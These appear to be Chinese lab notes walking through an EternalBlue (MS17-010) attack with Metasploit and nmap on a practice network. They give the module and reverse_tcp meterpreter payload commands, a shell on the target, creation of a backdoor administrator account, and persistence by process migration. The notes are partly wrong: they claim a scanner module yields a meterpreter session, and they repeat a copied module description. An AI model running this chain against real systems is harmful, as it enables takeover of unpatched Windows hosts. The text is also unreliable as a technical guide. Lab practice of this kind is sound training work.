永恒之蓝(ms17_010)靶场笔记
永恒之蓝(ms17_010)靶场笔记
1、msf基础使用步骤和命令
msfconsole #第一步进入框架
search ms17_010 #第二步使用search命令查找漏洞ms17_010(永恒之蓝)
use exploit/windows/smb/ms17_010_eternalblue #第三步使用use进入模块
info #第四步使用info查看模块信息
set payload windows/x64/meterpreter/reverse_tcp #第五步设置攻击载荷
show options #第七步查看模块需要配置的参数
set RHOST 192.168.230.129 #第八步设置参数
run #第九步攻击
Metasploit专业术语:
Exploit: 指针对漏洞的攻击代码,用来利用目标计算机系统的弱点,以获取控制权或执行任意代码的权力。
Payload: 指在攻击被成功执行后要运行的代码,可以是以个后门、恶意软件或命令控制器等。
Vulnerability: 表示存在的漏洞或弱点,可能被攻击者利用
Module: 指metasploit框架中的代码模块,用于执行各种功能,如扫描、攻击、后渗透等。
Encoder: 指对已存在的payload进行加密以逃避防护或检测。
Auxiliary: 指matesploit编写的相关辅助扫描模块,如MYSQL扫描、SMB枚举等
Post-exploitation: 指攻击成功后继续扩大入侵行为,如收集密码、监听网络流量等
metepreter: 是Metasploit框架中最常用的shell,可以提供完整的控制台,具有很强的功能。
Session: 表示目标计算机建立的会话,可以访问受攻击计算机的资源和数据
Listener:指Metasploit框架用于监听反向shell或payload连接的组件
2、具体步骤
首先使用nmap工具收集该网络中所有网络设备信息,并且从中找出可能带有漏洞的设备

发现112的内网设备开放了445、139等端口,可能会存在ms17_010漏洞
使用nmap深入扫描
nmap -A -sS -sV ***.***.***.112
- -A为深度强力扫描能扫出是什么系统,耗时较长
- -sS为TCP连接中的SYN扫描,找出该主机已经连接的tcp服务,
- -sV为端口上的服务版本扫描

nmap用脚本扫描“-script=脚本名”。
nmap --script=vuln -A -sV -O ***.***.***.112
# vnln是直接对漏洞进行了扫描

运行matasploit
metasploit capture

查找ms17-010漏洞模块
search ms17-010

exploit/windows/smb/ms17_010_eternalblue
该模块用于利用MS17-010漏洞实现远程执行代码,可以覆盖掉目标计算机的内存地址,从而实现攻击者的恶意代码在被攻击计算机上的执行。
exploit/windows/smb/ms17_010_psexec
该模块使用PsExec登录到目标计算机的系统帐(NTAUTHORITY\SYSTEM)并实现命令执行,需要在目标计算机上存在管理共享。这个模块和上面的模块一样是利用MS17-010漏洞。
auxiliary/admin/smb/ms17_010_command
该模块用于发现被漏洞影响的 Windows主机,以及执行命令,可以通过提供的选项进行数据包分析,或可选通道溢出使用,以获得远程命令执行的权限。
auxiliary/scanner/smb/smb_ms17_010
该模块用于发现被漏洞影响的 Windows主机,以及执行命令,可以通过提供的选项进行数据包分析,或可选通道溢出使用,以获得远程命令执行的权限。
exploit为攻击模块,auxiliary为辅助扫描模块
这个表格中的属性一共有5项
name:代表名字
disclosure:表示披露的时间
Rank : 表示模块的可靠性分别对应四级
“Excellent”:表示该模块的效果非常好,准确率较高,而且测试情况较广泛,被认为是最可靠的模块。
“Great”:表示该模块效果不错,准确率较高,但测试情况可能较少,被认为是比较可靠的模块。
“Normal”:表示该模块效果一般,测试手段较单一,存在一定漏洞,可靠性较差。
“Average”:表示该模块的效果一般,测试情况较少,被认为是比较不可靠的模块。
Check: 指的是该模块是否支持漏洞检测。
模块的check 为yes,那么使用该模块可以先检测目标主机是否存在漏洞,以避免不必要的攻击,
模块check 为No,它就只能用于攻击或者利用漏洞,使用此类模块时需格外小心,避免造成不必要的损失
选择第3个
use auxiliary/scanner/smb/smb_ms17_010
show options # 查看面板

设定攻击目标的ip地址
set rhosts 10.10.0.112
show options

run # 运行成功后,我们将会看到命令提示符meterpreter >出现

run post/windows/gather/enum_logged_on_users

获取目标主机的cmd_shell权限,同时设置目标主机命令行的字符编码以避免目标主机cmd_shell字符乱码
shell #获取目标主机的cmd_shell权限
chcp 65001 #这里为了避免目标主机cmd_shell字符乱码,设置目标主机命令行的字符编码,65001是UTF-8

给windows系统创建账号
net user [用户名] [密码] /add


将创建的用户添加进管理员组
net localgroup Administrators LiYuKun /add

3、权限维持
自动寻找合适的进程注入,并且自动迁移进程
run post/windows/manage/migrate


浙公网安备 33010602011771号